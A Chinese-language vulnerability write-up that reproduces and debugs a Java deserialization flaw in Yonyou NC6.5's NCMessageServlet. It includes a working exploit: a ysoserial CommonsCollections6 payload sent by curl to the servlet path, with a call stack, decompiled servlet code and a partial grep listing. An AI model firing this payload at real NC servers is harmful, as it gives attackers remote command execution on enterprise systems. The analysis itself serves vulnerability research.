NC6.5 NCMessageServlet 反序列化
NC6.5 NCMessageServlet 反序列化
环境
安装
解压之后 root 运行安装脚本开始安装:
export JAVA_HOME=/usr/java/jdk1.7.0_21
export PATH=$PATH:$JAVA_HOME/bin:$JAVA_HOME/jre/bin
bash ./setup.sh
勾选所有的组件安装,等待安装完成之后点击“完成”退出即可。
启动
依旧 root 用户执行命令:
cd /root/yonyou/home
bash ./startServer.sh
等到片刻看到控制台显示一下内容的时候,表明 NC 的 Web 服务在 80 端口启动了。访问 URL 即可验证是否启动成功。
...
...
INFO: Starting ProtocolHandler ["http-bio-80"]
May 23, 2023 1:35:57 PM org.apache.tomcat.granite.BrightTomcat start
INFO: Server startup in 239757 ms
复现
使用 ysoserial 的 CC6 攻击。
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 "touch /tmp/success_NC_222" > CC6.ser
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
curl -v --include -X POST -H "Content-Type: application/octet-stream" --data-binary @CC6.ser http://192.168.47.171/servlet/~baseapp/nc.message.bs.NCMessageServlet
攻击成功:
分析
带调试配置的启动:
sudo su
cd /root/yonyou/home
/usr/java/jdk1.7.0_21/bin/java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -server -Xmx1536m -XX:PermSize=512m -XX:MaxPermSize=1024m -Djava.awt.headless=true -Dfile.encoding=GBK -Duser.timezone=GMT+8 -Dnc.server.name=server -Dnc.server.startCount=0 -DNC_JAVA_HOME=$JAVA_HOME -Dorg.owasp.esapi.resources=/root/yonyou/home/ierp/bin/esapi -Dnc.bs.logging.format=text -Dnc.server.location=/root/yonyou/home -Drun.side=server -Dnc.run.side=server -cp .:/root/yonyou/home/starter.jar:/usr/java/jdk1.7.0_21/lib/tools.jar:/root/yonyou/home/ant/lib/ant-launcher.jar:/root/yonyou/home/lib/cnytiruces.jar nc.bs.mw.start.AloneBootstrap start
验证调试端口是否开启:
> netstat -ano |grep 5005
tcp 0 0 0.0.0.0:5005 0.0.0.0:* LISTEN off (0.00/0/0)
断点
找到下断点的地方 nc.message.bs.NCMessageServlet
,在 baseapp_appmessageLevel-1.jar 文件里面。
> grep -rn "nc.message.bs.NCMessageServlet"
Binary file baseapp_appmessageLevel-1.jar matches
调试
调用栈
doAction:33, NCMessageServlet (nc.message.bs)
doAction:185, InvokerServlet (nc.bs.framework.server)
[] doPost:72, InvokerServlet (nc.bs.framework.server)
service:641, HttpServlet (javax.servlet.http)
service:722, HttpServlet (javax.servlet.http)
invoke:-1, GeneratedMethodAccessor113 (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
run:277, SecurityUtil$1 (org.apache.catalina.security)
run:1, SecurityUtil$1 (org.apache.catalina.security)
doPrivileged:-1, AccessController (java.security)
doAsPrivileged:536, Subject (javax.security.auth)
execute:309, SecurityUtil (org.apache.catalina.security)
doAsPrivilege:169, SecurityUtil (org.apache.catalina.security)
internalDoFilter:299, ApplicationFilterChain (org.apache.catalina.core)
access$0:214, ApplicationFilterChain (org.apache.catalina.core)
run:193, ApplicationFilterChain$1 (org.apache.catalina.core)
run:1, ApplicationFilterChain$1 (org.apache.catalina.core)
doPrivileged:-1, AccessController (java.security)
doFilter:188, ApplicationFilterChain (org.apache.catalina.core)
doFilter:35, LoggerServletFilter (nc.bs.framework.server)
invoke:-1, GeneratedMethodAccessor114 (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
run:277, SecurityUtil$1 (org.apache.catalina.security)
run:1, SecurityUtil$1 (org.apache.catalina.security)
doPrivileged:-1, AccessController (java.security)
doAsPrivileged:536, Subject (javax.security.auth)
execute:309, SecurityUtil (org.apache.catalina.security)
doAsPrivilege:249, SecurityUtil (org.apache.catalina.security)
internalDoFilter:239, ApplicationFilterChain (org.apache.catalina.core)
access$0:214, ApplicationFilterChain (org.apache.catalina.core)
run:193, ApplicationFilterChain$1 (org.apache.catalina.core)
run:1, ApplicationFilterChain$1 (org.apache.catalina.core)
doPrivileged:-1, AccessController (java.security)
doFilter:188, ApplicationFilterChain (org.apache.catalina.core)
invoke:222, StandardWrapperValve (org.apache.catalina.core)
invoke:123, StandardContextValve (org.apache.catalina.core)
invoke:472, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:171, StandardHostValve (org.apache.catalina.core)
invoke:99, ErrorReportValve (org.apache.catalina.valves)
invoke:118, StandardEngineValve (org.apache.catalina.core)
service:408, CoyoteAdapter (org.apache.catalina.connector)
process:1009, AbstractHttp11Processor (org.apache.coyote.http11)
process:589, AbstractProtocol$AbstractConnectionHandler (org.apache.coyote)
run:310, JIoEndpoint$SocketProcessor (org.apache.tomcat.util.net)
runWorker:1145, ThreadPoolExecutor (java.util.concurrent)
run:615, ThreadPoolExecutor$Worker (java.util.concurrent)
run:722, Thread (java.lang)
doAction:185, InvokerServlet (nc.bs.framework.server)
private void doAction(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String token = this.getParamValue(request, "security_token");
String userCode = this.getParamValue(request, "user_code");
if (userCode != null) {
InvocationInfoProxy.getInstance().setUserCode(userCode);
}
if (token != null) {
NetStreamContext.setToken(KeyUtil.decodeToken(token));
}
String pathInfo = request.getPathInfo();
log.debug("Before Invoke: " + pathInfo);
long requestTime = System.currentTimeMillis();
try {
if (pathInfo == null) {
throw new ServletException("Service name is not specified, pathInfo is null");
}
pathInfo = pathInfo.trim();
String moduleName = null;
String serviceName = null;
int beginIndex;
if (pathInfo.startsWith("/~")) { // "/~" 开头,pathInfo 值为 /~baseapp/nc.message.bs.NCMessageServlet
moduleName = pathInfo.substring(2); // moduleName 值为 baseapp/nc.message.bs.NCMessageServlet
beginIndex = moduleName.indexOf("/"); // 值为 7
if (beginIndex >= 0) {
serviceName = moduleName.substring(beginIndex); // 值为 /nc.message.bs.NCMessageServlet
if (beginIndex > 0) {
moduleName = moduleName.substring(0, beginIndex);// 最后处理 moduleName 的地方,值为 baseapp
} else {
moduleName = null;
}
} else {
moduleName = null;
serviceName = pathInfo;
}
} else {
serviceName = pathInfo;
}
if (serviceName == null) {
throw new ServletException("Service name is not specified");
}
beginIndex = serviceName.indexOf("/");
if (beginIndex < 0 || beginIndex >= serviceName.length() - 1) {
throw new ServletException("Service name is not specified");
}
serviceName = serviceName.substring(beginIndex + 1); // 去掉了原本开头的 "/"
Object obj = null;
String msg;
try {
obj = this.getServiceObject(moduleName, serviceName); // [2] 通过前面获取到的两个 Name 拿到 Service 对象
} catch (ComponentException var76) {
msg = svcNotFoundMsgFormat.format(new Object[]{serviceName});
Logger.error(msg, var76);
throw new ServletException(msg);
}
ThreadTracer.getInstance().startThreadMonitor("invokeservlet-" + serviceName + "-" + (obj == null ? "" : obj.getClass().getName()), request.getRemoteAddr() + ":" + request.getRemotePort(), "anonymous", (String)null);
if (obj instanceof Servlet) {
Logger.init(obj.getClass());
try {
if (obj instanceof GenericServlet) {
((GenericServlet)obj).init();
}
this.preRemoteProcess();
((Servlet)obj).service(request, response);
this.postRemoteProcess();
} catch (ServletException var72) {
this.postErrorRemoteProcess(var72);
Logger.error("Invoker serlet: " + obj.getClass() + " error", var72);
throw var72;
} catch (IOException var73) {
this.postErrorRemoteProcess(var73);
Logger.error("Invoker serlet: " + obj.getClass() + " error", var73);
throw var73;
} catch (Throwable var74) {
this.postErrorRemoteProcess(var74);
Logger.error("Invoker serlet: " + obj.getClass() + " error", var74);
throw new ServletException("Invoker serlet: " + obj.getClass() + " error", var74);
} finally {
Logger.reset();
}
} else if (obj instanceof IHttpServletAdaptor) {
IHttpServletAdaptor adaptor = (IHttpServletAdaptor)obj;
Logger.init(obj.getClass());
try {
this.preRemoteProcess();
adaptor.doAction(request, response); // [1] 步入 NCMessageServlet 反序列化
this.postRemoteProcess();
} finally {
Logger.reset();
}
} else {
if (obj == null) {
String msg = "Serivce: " + serviceName + " is not found";
log.error(msg);
throw new ServletException(msg);
}
Class<?> clazz = obj.getClass();
msg = null;
Method method;
try {
method = clazz.getDeclaredMethod("doAction", request.getClass(), response.getClass());
} catch (Exception var70) {
throw new ServletException("Serivce: " + serviceName + " can't adapt Servlet");
}
if (method == null) {
throw new ServletException("Serivce: " + serviceName + " can't adapt Servlet");
}
Logger.init(obj.getClass());
try {
String msg;
try {
this.preRemoteProcess();
method.invoke(obj, request, response);
this.postRemoteProcess();
} catch (InvocationTargetException var77) {
..........
}
} finally {
Logger.reset();
}
}
} finally {
log.debug("After Invoke: " + request.getPathInfo() + " " + (System.currentTimeMillis() - requestTime));
ThreadTracer.getInstance().endThreadMonitor();
}
}
整个 InvokerServlet
方法的前半部分都是在处理 moduleName
和 serviceName
,通过前面的两个变量在 [2]
获取到 Service 对象,最终在 [3]
进入最后反序列化的位置。其中 [2]
的详细流程如下,我们步入 getServiceObject
方法。
getServiceObject
private Object getServiceObject(String moduleName, String serviceName) throws ComponentException {
Object retObject = null;
if (moduleName == null) {
retObject = NCLocator.getInstance().lookup(serviceName);
} else {
retObject = serviceObjMap.get(moduleName + ":" + serviceName);// retObject 是 null
if (retObject == null) {
Container deployed = BusinessAppServer.getInstance().getContainer(moduleName);
try {
retObject = deployed.getContext().lookup(serviceName);
} catch (ComponentException var10) {
try {
Class<?> clazz = deployed.getClassLoader().loadClass(serviceName);
retObject = clazz.newInstance();// [4] 通过 serviceName 反射获取 Service 对象
} catch (ClassNotFoundException var7) {
......
}
}
}
if (retObject != null) {
serviceObjMap.put(moduleName + ":" + serviceName, retObject);// 放进 serviceObjMap
}
}
return retObject; // 返回获取的对象
}
我们可以从 [4]
发现,程序通过 serviceName 动态加载指定的类,并且创造一个类的实例,以此来获取 Service 对象;然后 put 放进 serviceObjMap 里面。到漏洞最后进入该对象的 doAction 方法触发反序列化漏洞。
也就是说,我们可以找一个类,其中它的 doAction 方法内可以触发反序列化漏洞的,符合这个条件的类都可以被利用。当然,nc.message.bs.NCMessageServlet
类是符合条件的。
我们回到这个nc.message.bs.NCMessageServlet
类上的反序列化来看,实际上就是最基本的 readObject 方法触发,只要是有利用链的都可以达到反序列化命令执行或者代码执行了。以 CC 的链为例子,简单搜索一下。其中 CC6 就是在利用范围内的利用链。
> ls |grep "commons-"
ant-commons-logging.jar
ant-commons-net.jar
commons-beanutils-1.8.0.jar
commons-beanutils-1.8.3.jar
commons-beanutils-core-1.8.0.jar
commons-beanutils-core.jar
commons-cli-1.0.jar
commons-cli-1.2.jar
commons-codec-1.2.jar
commons-codec-1.6.jar
commons-codec-1.6Level-1.jar
commons-codec-1.8.jar
commons-codec-1.9.jar
commons-codec.jar
commons-collections-3.2.1.jar
commons-collections.jar
commons-compress-1.4.1.jar
commons-configuration-1.2.jar
commons-configuration-1.6.jar
commons-daemon.jar
commons-dbcp-1.2.1.jar
commons-dbcp-1.4.jar
commons-digester-1.8.jar
commons-digester3-3.2.jar
commons-discovery-0.2.jar
commons-fileupload-1.2.1.jar
commons-fileupload-1.3.1.jar
commons-fileupload-1.3.jar
commons-httpclient-3.0Level-1.jar
commons-io-1.2.jar
commons-io-1.3.1.jar
commons-io-2.2.jar
commons-io-2.4.jar
commons-lang-2.1.jar
commons-lang-2.5.jar
commons-lang-2.6.jar
commons-lang3-3.1.jar
commons-lang3-3.3.2.jar
commons-logging-1.1.1.jar
commons-logging-1.1.1Level-1.jar
commons-logging-1.2.jar
commons-logging.jar
commons-math-1.0.jar
commons-net-1.4.1.jar
commons-net-2.2.jar
commons-net-3.1.jar
commons-net-3.3.jar
commons-pool-1.6.jar
commons-pool2-2.2.jar
commons-pool.jar
commons-validator.jar
commons-vfs-patched-1.9.1.jar
hibernate-commons-annotations-4.0.1.Final.jar
jakarta-commons-net.jar
jakarta-commons-oro.jar
spring-data-commons-core-1.4.0.RELEASE.jar
xmlgraphics-commons-1.4.jar
补充1
前面分析的过程中,没有分析到为什么 PoC 中的 /servlet
是怎么解析的。我发现上面的利用链中只有几个是 nc 自己的类,但是简单看了之后没有办法确定 url 开头的解析的逻辑在哪里。假如一开始是 /aaaa
呢,那处理的类是什么。
我在反复调试之后发现,在 org.apache.catalina.security.SecurityUtil#execute,当 URL 开头是 /aaaa
的时候,传入参数 targetObject
是 DefaultServlet
。
但是在 URL 开头是 /servlet
的时候,传入参数 targetObject
是 LoggerServletFilter
,method
的 name 是 doFilter
。
那么参数 targetObject
是在哪里初始化的呢。实际上 targetObject
是在这里传入的。接下来看看 this.servlet
在哪里设置的。
org.apache.catalina.core.ApplicationFilterChain#internalDoFilter
org.apache.catalina.core.StandardWrapperValve#invoke
servlet 和 wrapper 有关。
通常情况下,
wrapper
是一个ServletWrapper
类型的对象,它可能是一个类或接口的实例,用于管理和控制一个 Java Servlet 的生命周期。这个语句调用wrapper
对象的allocate()
方法,该方法会返回一个Servlet
对象的实例,该实例代表着一个新的或重用的 Servlet。在 Servlet 容器中,Servlet 对象通常会被缓存起来并在需要时被重用,以提高性能并减少内存开销。
allocate()
方法可能会创建一个新的 Servlet 对象,也可能会从缓存中获取一个已存在的 Servlet 对象。无论是哪种情况,allocate()
方法都会返回一个可用的 Servlet 实例,servlet
变量将引用该实例,以便在后续的代码中使用。
恍然记得 Tomcat 也是可以使用 web.xml 文件写进去 Servlet 的映射的。所以简单查询了一下。(这里包含重复的)
> grep -rn "servlet-mapping"
uapmq/webapps/admin/WEB-INF/web.xml:66: <servlet-mapping>
uapmq/webapps/admin/WEB-INF/web.xml:69: </servlet-mapping>
uapmq/webapps/admin/WEB-INF/web.xml:76: <servlet-mapping>
uapmq/webapps/admin/WEB-INF/web.xml:79: </servlet-mapping>
uapmq/webapps/admin/WEB-INF/web.xml:86: <servlet-mapping>
uapmq/webapps/admin/WEB-INF/web.xml:89: </servlet-mapping>
uapmq/webapps/admin/WEB-INF/web.xml:139: <servlet-mapping>
uapmq/webapps/admin/WEB-INF/web.xml:142: </servlet-mapping>
uapmq/webapps/demo/WEB-INF/web.xml:89: <servlet-mapping>
uapmq/webapps/demo/WEB-INF/web.xml:92: </servlet-mapping>
uapmq/webapps/demo/WEB-INF/web.xml:94: <servlet-mapping>
uapmq/webapps/demo/WEB-INF/web.xml:97: </servlet-mapping>
uapmq/webapps/demo/WEB-INF/web.xml:99: <servlet-mapping>
uapmq/webapps/demo/WEB-INF/web.xml:102: </servlet-mapping>
uapmq/webapps/demo/WEB-INF/web.xml:104: <servlet-mapping>
uapmq/webapps/demo/WEB-INF/web.xml:107: </servlet-mapping>
uapmq/webapps/fileserver/WEB-INF/web.xml:51: <servlet-mapping>
uapmq/webapps/fileserver/WEB-INF/web.xml:54: </servlet-mapping>
hotwebs/help/WEB-INF/web.xml:19: <servlet-mapping>
hotwebs/help/WEB-INF/web.xml:22: </servlet-mapping>
hotwebs/uapjs/WEB-INF/web.xml:9: <servlet-mapping>
hotwebs/uapjs/WEB-INF/web.xml:12: </servlet-mapping>
hotwebs/uapws/WEB-INF/web.xml:46: <servlet-mapping>
hotwebs/uapws/WEB-INF/web.xml:49: </servlet-mapping>
hotwebs/uapws/WEB-INF/web.xml:56: <servlet-mapping>
hotwebs/uapws/WEB-INF/web.xml:59: </servlet-mapping>
hotwebs/uapws/WEB-INF/web.xml:64: <servlet-mapping>
hotwebs/uapws/WEB-INF/web.xml:67: </servlet-mapping>
hotwebs/uapws/WEB-INF/web.xml:72: <servlet-mapping>
hotwebs/uapws/WEB-INF/web.xml:75: </servlet-mapping>
hotwebs/uapws/WEB-INF/web.xml:76: <servlet-mapping>
hotwebs/uapws/WEB-INF/web.xml:79: </servlet-mapping>
hotwebs/fs/WEB-INF/web.xml:13: <servlet-mapping>
hotwebs/fs/WEB-INF/web.xml:16: </servlet-mapping>
hotwebs/fs/WEB-INF/web.xml:22: <servlet-mapping>
hotwebs/fs/WEB-INF/web.xml:25: </servlet-mapping>
hotwebs/fs/WEB-INF/web.xml:31: <servlet-mapping>
hotwebs/fs/WEB-INF/web.xml:34: </servlet-mapping>
hotwebs/fs/WEB-INF/web.xml:40: <servlet-mapping>
hotwebs/fs/WEB-INF/web.xml:43: </servlet-mapping>
hotwebs/portal/WEB-INF/bqwebrt.portal.part:26: <servlet-mapping>
hotwebs/portal/WEB-INF/bqwebrt.portal.part:29: </servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:270: <servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:274: </servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:281: <servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:284: </servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:289: <servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:292: </servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:334: <servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:337: </servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:338: <servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:341: </servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:342: <servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:345: </servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:347: <servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:350: </servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:352: <servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:355: </servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:357: <servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:360: </servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:361: <servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:364: </servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:380: <servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:383: </servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:389: <servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:392: </servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:438: <servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:441: </servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:447: <servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:450: </servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:452:<!--servlet-mapping_begin:bqwebrt-->
hotwebs/portal/WEB-INF/web.xml:454:<servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:457:</servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:458:<!--servlet-mapping_end:bqwebrt-->
hotwebs/portal/ds/WEB-INF/web.xml:12: <servlet-mapping>
hotwebs/portal/ds/WEB-INF/web.xml:15: </servlet-mapping>
hotwebs/portal/aemeta/WEB-INF/web.xml:9: <servlet-mapping>
hotwebs/portal/aemeta/WEB-INF/web.xml:12: </servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:60: <servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:63: </servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:64: <servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:67: </servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:68: <servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:71: </servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:72: <servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:75: </servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:76: <servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:79: </servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:80: <servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:83: </servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:84: <servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:87: </servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:89: <servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:92: </servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:93: <servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:96: </servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:97: <servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:100: </servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:101: <servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:104: </servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:105: <servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:108: </servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml:178: <servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml:181: </servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml:182: <servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml:185: </servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml:188: <servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml:191: </servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml:242: <servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml:245: </servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml:251: <servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml:254: </servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml.copy:155: <servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml.copy:158: </servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml.copy:180: <servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml.copy:183: </servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml.copy:185: <servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml.copy:188: </servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml.copy:189: <servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml.copy:192: </servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml.copy:194: <servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml.copy:197: </servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml.copy:199: <servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml.copy:202: </servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml.copy:204: <servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml.copy:207: </servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:127: <servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:130: </servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:131: <servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:134: </servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:139: <servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:142: </servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:148: <servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:151: </servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:158: <servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:161: </servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:169: <servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:172: </servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:174: <servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:177: </servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:184: <servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:187: </servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:193: <servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:196: </servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:203: <servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:206: </servlet-mapping>
hotwebs/uapim/WEB-INF/web.xml:77: <servlet-mapping>
hotwebs/uapim/WEB-INF/web.xml:80: </servlet-mapping>
hotwebs/uapim/WEB-INF/web.xml:87: <servlet-mapping>
hotwebs/uapim/WEB-INF/web.xml:90: </servlet-mapping> -->
hotwebs/mp/WEB-INF/web.xml:63: <servlet-mapping>
hotwebs/mp/WEB-INF/web.xml:66: </servlet-mapping>
hotwebs/mp/WEB-INF/web.xml:72:<!-- <servlet-mapping> -->
hotwebs/mp/WEB-INF/web.xml:75:<!-- </servlet-mapping> -->
hotwebs/mp/WEB-INF/web.xml:81:<!-- <servlet-mapping> -->
hotwebs/mp/WEB-INF/web.xml:84:<!-- </servlet-mapping> -->
hotwebs/iwebap/WEB-INF/web.xml:154: <servlet-mapping>
hotwebs/iwebap/WEB-INF/web.xml:157: </servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:198: <servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:201: </servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:243: <servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:246: </servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:247: <servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:250: </servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:251: <servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:254: </servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:256: <servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:259: </servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:261: <servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:264: </servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:266: <servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:269: </servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:270: <servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:273: </servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:289: <servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:292: </servlet-mapping>
hotwebs/web/WEB-INF/web.xml:100: <servlet-mapping>
hotwebs/web/WEB-INF/web.xml:103: </servlet-mapping>
hotwebs/web/WEB-INF/web.xml:104: <servlet-mapping>
hotwebs/web/WEB-INF/web.xml:107: </servlet-mapping> -->
hotwebs/ebvp/WEB-INF/web.xml:126: <servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:129: </servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:137: <servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:140: </servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:148: <servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:151: </servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:159: <servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:162: </servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:170: <servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:173: </servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:181: <servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:184: </servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:192: <servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:195: </servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:203: <servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:206: </servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:214: <servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:217: </servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:225: <servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:228: </servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:236: <servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:239: </servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:247: <servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:250: </servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:258: <servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:261: </servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:269: <servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:272: </servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:280: <servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:283: </servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:291: <servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:294: </servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:302: <servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:305: </servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:312: <servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:315: </servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:322: <servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:325: </servlet-mapping>
hotwebs/ecp/WEB-INF/web.xml:158: <servlet-mapping>
hotwebs/ecp/WEB-INF/web.xml:161: </servlet-mapping>
hotwebs/ecp/WEB-INF/web.xml:162: <servlet-mapping>
hotwebs/ecp/WEB-INF/web.xml:165: </servlet-mapping>
webapps/nc_web/WEB-INF/web.xml:61: <servlet-mapping>
webapps/nc_web/WEB-INF/web.xml:64: </servlet-mapping>
webapps/nc_web/WEB-INF/web.xml:68: <servlet-mapping>
webapps/nc_web/WEB-INF/web.xml:71: </servlet-mapping>
webapps/nc_web/WEB-INF/web.xml:72: <servlet-mapping>
webapps/nc_web/WEB-INF/web.xml:75: </servlet-mapping>
webapps/nc_web/WEB-INF/web.xml:77: <servlet-mapping>
webapps/nc_web/WEB-INF/web.xml:80: </servlet-mapping>
webapps/nc_web/WEB-INF/web.xml:82: <servlet-mapping>
webapps/nc_web/WEB-INF/web.xml:85: </servlet-mapping>
webapps/nc_web/WEB-INF/web.xml:87: <servlet-mapping>
